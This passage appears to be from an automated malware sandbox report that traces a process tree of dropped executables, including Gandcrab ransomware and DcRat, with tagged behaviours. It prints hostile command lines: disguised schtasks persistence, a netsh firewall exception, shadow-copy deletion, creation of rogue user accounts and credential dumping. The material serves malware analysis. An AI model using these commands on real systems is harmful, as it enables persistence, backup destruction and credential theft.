              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ezsxajrdzkofdokrqi"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:1492
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\lkzsytzkpxcqb"
              4⤵
              • Executes dropped EXE
              PID:3476
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\veekzljecfuveqnj"
              4⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:2840
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\gzrdzeufqnmiowbnklh"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:3024
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\agjbzyfhqqlczlarngcqy"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2704
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\kbwtzrqbeydhcrwvwrpkjyhb"
              4⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:1028
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\vdbmsjjcagvmmykhncjlmcbsyots"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              • Suspicious use of AdjustPrivilegeToken
              PID:3268
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\rmcwxaghblrsafdryrk"
              4⤵
              • Executes dropped EXE
              PID:3044
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\coigqtrjptjxltzvhbxzqdc"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:2464
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\minzrlbddbbcnznzymjbbipjbt"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:4040
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\jrojocgimgyijgoijj"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:3148
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\uuucovrjaoqnlucusuxpe"
              4⤵
              • Executes dropped EXE
              • Accesses Microsoft Outlook accounts
              • System Location Discovery: System Language Discovery
              PID:1844
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\eohmpncdowiswbyyjfrrpnca"
              4⤵
              • Executes dropped EXE
              • System Location Discovery: System Language Discovery
              PID:1156
            • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
              "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ywyspinfozgnhipcdaeahgkaqs"
              4⤵
                PID:2040
              • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\iqlkpaygchyzjwlgnlzbkkfrzywxd"
                4⤵
                  PID:3696
                • C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe
                  "C:\Program Files (x86)\172407564549f9f59ff9210a9f3b93f8551fc2fdf5aeb80c40ec13c403393d131f4191de51907.exe" /stext "C:\Users\Admin\AppData\Local\Temp\tsrvqtiaqpqeudzkevlduxzaafogeguer"
                  4⤵
                    PID:3212
                • C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe
                  "C:\Program Files (x86)\a6a1abaf12a28ea8f6553356c3bdcf57.exe"
                  3⤵
                  • Executes dropped EXE
                  • Drops file in Windows directory
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2140
                • C:\Program Files (x86)\BTZ.exe
                  "C:\Program Files (x86)\BTZ.exe"
                  3⤵
                  • Drops file in Drivers directory
                  • Executes dropped EXE
                  • Impair Defenses: Safe Mode Boot
                  • Loads dropped DLL
                  • Drops file in System32 directory
                  • Drops file in Windows directory
                  • System Location Discovery: System Language Discovery
                  PID:1408
                • C:\Program Files (x86)\Cat.exe
                  "C:\Program Files (x86)\Cat.exe"
                  3⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  PID:784
                • C:\Program Files (x86)\Client.exe
                  "C:\Program Files (x86)\Client.exe"
                  3⤵
                  • Modifies WinLogon for persistence
                  • Executes dropped EXE
                  • Adds Run key to start application
                  • Drops file in Windows directory
                  • Suspicious use of AdjustPrivilegeToken
                  PID:2552
                  • C:\Windows\system32\CMD.exe
                    "CMD" /C SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" & exit
                    4⤵
                      PID:3660
                      • C:\Windows\system32\schtasks.exe
                        SchTaSKs /CrEAte /F /sc OnLoGoN /rl HighEst /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe"
                        5⤵
                        • DcRat
                        PID:2180
                    • C:\Windows\system32\CMD.exe
                      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                      4⤵
                        PID:1808
                        • C:\Windows\system32\schtasks.exe
                          SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                          5⤵
                            PID:1368
                        • C:\Windows\system32\CMD.exe
                          "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                          4⤵
                            PID:1348
                            • C:\Windows\system32\schtasks.exe
                              SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                              5⤵
                              • DcRat
                              • Scheduled Task/Job: Scheduled Task
                              PID:3340
                          • C:\Windows\system32\CMD.exe
                            "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                            4⤵
                              PID:1804
                              • C:\Windows\system32\schtasks.exe
                                SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                                5⤵
                                • DcRat
                                • Scheduled Task/Job: Scheduled Task
                                PID:4012
                            • C:\Windows\system32\CMD.exe
                              "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                              4⤵
                                PID:4048
                                • C:\Windows\system32\schtasks.exe
                                  SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                                  5⤵
                                  • Scheduled Task/Job: Scheduled Task
                                  PID:3880
                              • C:\Windows\system32\CMD.exe
                                "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                                4⤵
                                  PID:4080
                                  • C:\Windows\system32\schtasks.exe
                                    SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                                    5⤵
                                    • Scheduled Task/Job: Scheduled Task
                                    PID:3712
                                • C:\Windows\system32\CMD.exe
                                  "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                  4⤵
                                    PID:880
                                    • C:\Windows\system32\schtasks.exe
                                      SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                                      5⤵
                                      • DcRat
                                      • Scheduled Task/Job: Scheduled Task
                                      PID:3916
                                  • C:\Windows\system32\CMD.exe
                                    "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST & exit
                                    4⤵
                                      PID:3404
                                      • C:\Windows\system32\schtasks.exe
                                        SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\Client.exe" /RL HIGHEST
                                        5⤵
                                        • DcRat
                                        • Scheduled Task/Job: Scheduled Task
                                        PID:3312
                                    • C:\Windows\system32\CMD.exe
                                      "CMD" /c SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST & exit
                                      4⤵
                                        PID:3720
                                        • C:\Windows\system32\schtasks.exe
                                          SchTaSKs /create /f /sc minute /mo 5 /tn "svchost" /tr "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\Sub\WatchDog.exe" /RL HIGHEST
                                          5⤵
                                          • DcRat
                                          PID:448
                                    • C:\Program Files (x86)\Darkest Dungeon setub.exe
                                      "C:\Program Files (x86)\Darkest Dungeon setub.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • System Location Discovery: System Language Discovery
                                      PID:1636
                                      • C:\Users\Admin\AppData\Roaming\svhost.exe
                                        "C:\Users\Admin\AppData\Roaming\svhost.exe"
                                        4⤵
                                        • Drops startup file
                                        • Executes dropped EXE
                                        • Adds Run key to start application
                                        • System Location Discovery: System Language Discovery
                                        • Suspicious behavior: GetForegroundWindowSpam
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3216
                                        • C:\Windows\SysWOW64\netsh.exe
                                          netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\svhost.exe" "svhost.exe" ENABLE
                                          5⤵
                                          • Modifies Windows Firewall
                                          PID:1720
                                    • C:\Program Files (x86)\evil.exe
                                      "C:\Program Files (x86)\evil.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • System Location Discovery: System Language Discovery
                                      PID:900
                                      • C:\Users\Admin\AppData\Local\Temp\evil.exe
                                        "C:\Users\Admin\AppData\Local\Temp\evil.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:2072
                                    • C:\Program Files (x86)\fwclt.exe
                                      "C:\Program Files (x86)\fwclt.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      PID:1788
                                    • C:\Program Files (x86)\Gandcrab5.0.3.exe
                                      "C:\Program Files (x86)\Gandcrab5.0.3.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • System Location Discovery: System Language Discovery
                                      PID:704
                                      • C:\Windows\SysWOW64\wermgr.exe
                                        "C:\Windows\System32\wermgr.exe"
                                        4⤵
                                        • Drops startup file
                                        • Enumerates connected drives
                                        • Sets desktop wallpaper using registry
                                        • Drops file in Program Files directory
                                        • System Location Discovery: System Language Discovery
                                        • Checks processor information in registry
                                        PID:2492
                                        • C:\Windows\SysWOW64\wbem\wmic.exe
                                          "C:\Windows\system32\wbem\wmic.exe" shadowcopy delete
                                          5⤵
                                          • Suspicious use of AdjustPrivilegeToken
                                          PID:3204
                                    • C:\Program Files (x86)\Happy18.exe
                                      "C:\Program Files (x86)\Happy18.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Drops file in System32 directory
                                      PID:892
                                    • C:\Program Files (x86)\kosomk.exe
                                      "C:\Program Files (x86)\kosomk.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Loads dropped DLL
                                      • System Location Discovery: System Language Discovery
                                      PID:2060
                                      • C:\Users\Admin\AppData\Roaming\dicsord.exe
                                        "C:\Users\Admin\AppData\Roaming\dicsord.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • System Location Discovery: System Language Discovery
                                        PID:1732
                                    • C:\Program Files (x86)\LightNeuronX0.exe
                                      "C:\Program Files (x86)\LightNeuronX0.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      PID:2760
                                    • C:\Program Files (x86)\malecus.exe
                                      "C:\Program Files (x86)\malecus.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Writes to the Master Boot Record (MBR)
                                      PID:2780
                                    • C:\Program Files (x86)\see7.exe
                                      "C:\Program Files (x86)\see7.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Suspicious use of SetThreadContext
                                      • System Location Discovery: System Language Discovery
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1648
                                      • C:\Program Files (x86)\see7.exe
                                        "C:\Program Files (x86)\see7.exe"
                                        4⤵
                                        • Executes dropped EXE
                                        • Suspicious use of SetThreadContext
                                        • Suspicious behavior: MapViewOfSection
                                        • Suspicious use of AdjustPrivilegeToken
                                        PID:3852
                                    • C:\Program Files (x86)\TEST.exe
                                      "C:\Program Files (x86)\TEST.exe"
                                      3⤵
                                      • Executes dropped EXE
                                      • Adds Run key to start application
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1900
                                      • C:\Windows\system32\cmd.exe
                                        cmd /c ""C:\Users\Admin\AppData\Local\Temp\tmpD88.tmp.bat""
                                        4⤵
                                          PID:1632
                                          • C:\Windows\system32\timeout.exe
                                            timeout 3
                                            5⤵
                                            • Delays execution with timeout.exe
                                            PID:3368
                                      • C:\Windows\SysWOW64\cmd.exe
                                        cmd /c ""C:\Program Files (x86)\touhou virus.bat" "
                                        3⤵
                                        • System Location Discovery: System Language Discovery
                                        PID:2692
                                        • C:\Windows\SysWOW64\net.exe
                                          net user Shanghai /add
                                          4⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:4032
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 user Shanghai /add
                                            5⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3540
                                        • C:\Windows\SysWOW64\net.exe
                                          net user Bad Apple /add
                                          4⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3644
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 user Bad Apple /add
                                            5⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:1928
                                        • C:\Windows\SysWOW64\net.exe
                                          net user Marisa
                                          4⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:1472
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 user Marisa
                                            5⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3500
                                        • C:\Windows\SysWOW64\net.exe
                                          net user Reimu /add
                                          4⤵
                                          • System Location Discovery: System Language Discovery
                                          PID:3672
                                          • C:\Windows\SysWOW64\net1.exe
                                            C:\Windows\system32\net1 user Reimu /add
                                            5⤵
                                            • System Location Discovery: System Language Discovery
                                            PID:3692
                                        • C:\Windows\SysWOW64\mountvol.exe
                                          mountvol X:\ /d
                                          4⤵
                                          • Enumerates connected drives
                                          • System Location Discovery: System Language Discovery
                                          PID:1920
                                        • C:\Program Files\Internet Explorer\iexplore.exe
                                          "C:\Program Files\Internet Explorer\iexplore.exe" https://www.youtube.com/watch?v=PTt19B5_V3I
                                          4⤵
                                          • Modifies Internet Explorer settings
                                          • Suspicious use of SetWindowsHookEx
                                          PID:2832
                                          • C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
                                            "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2832 CREDAT:275457 /prefetch:2
                                            5⤵
                                            • System Location Discovery: System Language Discovery
                                            • Modifies Internet Explorer settings
                                            PID:3688
                                        • C:\Program Files\Internet Explorer\iexplore.exe
                                          "C:\Program Files\Internet Explorer\iexplore.exe" https://www.youtube.com/watch?v=tpedaZ0_yyQ
                                          4⤵
                                            PID:3516
                                          • C:\Windows\SysWOW64\diskpart.exe
                                            diskpart
                                            4⤵
                                              PID:2908
                                            • C:\Windows\SysWOW64\explorer.exe
                                              explorer
                                              4⤵
                                                PID:3208
                                            • C:\Program Files (x86)\vbc.exe
                                              "C:\Program Files (x86)\vbc.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • Loads dropped DLL
                                              • System Location Discovery: System Language Discovery
                                              PID:960
                                              • C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
                                                C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
                                                4⤵
                                                • Executes dropped EXE
                                                • Loads dropped DLL
                                                • Suspicious use of SetThreadContext
                                                • System Location Discovery: System Language Discovery
                                                PID:2492
                                                • C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe
                                                  C:\Users\Admin\AppData\Local\Temp\cbgsujmwws.exe C:\Users\Admin\AppData\Local\Temp\jplmbcuny
                                                  5⤵
                                                  • Executes dropped EXE
                                                  • Accesses Microsoft Outlook profiles
                                                  • Suspicious use of AdjustPrivilegeToken
                                                  • outlook_office_path
                                                  • outlook_win_path
                                                  PID:2112
                                            • C:\Program Files (x86)\virus.jk.exe
                                              "C:\Program Files (x86)\virus.jk.exe"
                                              3⤵
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              • Suspicious use of SetWindowsHookEx
                                              PID:2020
                                          • C:\Windows\SysWOW64\rundll32.exe
                                            "C:\Windows\SysWOW64\rundll32.exe"
                                            2⤵
                                            • Adds policy Run key to start application
                                            • Adds Run key to start application
                                            • Suspicious use of SetThreadContext
                                            • System Location Discovery: System Language Discovery
                                            • Suspicious behavior: MapViewOfSection
                                            • Suspicious use of AdjustPrivilegeToken
                                            PID:3648
                                        • C:\Windows\helppane.exe
                                          C:\Windows\helppane.exe -Embedding
                                          1⤵
                                            PID:2868
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 13 /tr "'C:\Users\Default\Downloads\57ccb6f0bd910fed428761828ae93553.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2228
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 11 /tr "'C:\Program Files (x86)\Windows Mail\ja-JP\lsass.exe'" /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            PID:1528
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "lsass" /sc ONLOGON /tr "'C:\Program Files (x86)\Windows Mail\ja-JP\lsass.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            PID:2108
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Users\Default\Downloads\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:2376
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "lsassl" /sc MINUTE /mo 8 /tr "'C:\Program Files (x86)\Windows Mail\ja-JP\lsass.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            PID:2184
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 9 /tr "'C:\Users\Default\Downloads\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1912
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "CatC" /sc MINUTE /mo 10 /tr "'C:\Users\Public\Favorites\Cat.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2072
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 5 /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\57ccb6f0bd910fed428761828ae93553.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1052
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "Cat" /sc ONLOGON /tr "'C:\Users\Public\Favorites\Cat.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:580
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae93553" /sc ONLOGON /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1924
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "CatC" /sc MINUTE /mo 12 /tr "'C:\Users\Public\Favorites\Cat.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:352
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "57ccb6f0bd910fed428761828ae935535" /sc MINUTE /mo 13 /tr "'C:\Recovery\1b8b1de2-69f6-11ef-9774-62cb582c238c\57ccb6f0bd910fed428761828ae93553.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2204
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "CatC" /sc MINUTE /mo 5 /tr "'C:\Program Files\7-Zip\Lang\Cat.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1496
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "Cat" /sc ONLOGON /tr "'C:\Program Files\7-Zip\Lang\Cat.exe'" /rl HIGHEST /f
                                            1⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1932
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "CatC" /sc MINUTE /mo 11 /tr "'C:\Program Files\7-Zip\Lang\Cat.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:2936
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 7 /tr "'C:\Users\All Users\Favorites\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:2280
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c" /sc ONLOGON /tr "'C:\Users\All Users\Favorites\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2196
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 12 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\System.exe'" /f
                                            1⤵
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2808
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c2" /sc MINUTE /mo 12 /tr "'C:\Users\All Users\Favorites\2f1cc715d0e5d4e9142be74287e75887ec207a6bc006c0617eef653fae74647c.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2832
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "System" /sc ONLOGON /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\System.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:2964
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 13 /tr "'C:\Program Files\Windows Journal\OSPPSVC.exe'" /f
                                            1⤵
                                            • DcRat
                                            PID:1480
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 14 /tr "'C:\MSOCache\All Users\{90140000-001A-0409-0000-0000000FF1CE}-C\System.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:2284
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "OSPPSVC" /sc ONLOGON /tr "'C:\Program Files\Windows Journal\OSPPSVC.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
                                            PID:1048
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "wininitw" /sc MINUTE /mo 11 /tr "'C:\Users\All Users\Adobe\Updater6\wininit.exe'" /f
                                            1⤵
                                            • Process spawned unexpected child process
                                            • Scheduled Task/Job: Scheduled Task
                                            PID:1464
                                          • C:\Windows\system32\schtasks.exe
                                            schtasks.exe /create /tn "OSPPSVCO" /sc MINUTE /mo 7 /tr "'C:\Program Files\Windows Journal\OSPPSVC.exe'" /rl HIGHEST /f
                                            1⤵
                                            • DcRat
                                            • Process spawned unexpected child process
